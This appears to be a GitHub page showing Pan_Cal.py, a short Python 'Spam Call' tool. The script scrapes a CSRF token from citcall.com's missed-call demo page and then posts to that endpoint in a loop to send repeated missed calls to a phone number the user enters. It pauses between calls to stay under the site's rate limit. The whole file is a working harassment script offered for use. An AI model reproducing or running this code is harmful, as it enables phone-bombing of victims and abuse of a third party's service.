-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathPan_Cal.py
More file actions
35 lines (35 loc) · 980 Bytes
/
Pan_Cal.py
File metadata and controls
35 lines (35 loc) · 980 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import time
import re
import sys
from requests import Session
s = Session()
print('Spam Call by Manz - CES\nThis tool delays 5 seconds per spam so as not to limit!\nUse Country Code (ex: 62xxxxx29)')
try:
no = int(input('No : '))
jml = int(input('Count : '))
print()
except:
print('\n\t* Only Number *')
sys.exit()
else:
pass
url = 'https://www.citcall.com/demo/misscallapi.php'
tkn = s.get(url).text
token = re.findall('id="csrf_token" value="(.*?)">', tkn)[0]
headers = {'x-requested-with': 'XMLHttpRequest'}
data = {'cid': no, 'trying': '0', 'csrf_token': token}
n = 0
try:
while n < jml:
send = s.post(url, data=data, headers=headers).text
time.sleep(4.8)
if 'Success' in send:
n += 1
print(f'[{n}] Sended to => {no}')
else:
print('\n\t* Limit *')
print('\n\t* Try one hour ago or try tomorrow *')
break
except:
print('\n\t* ERROR *')
sys.exit()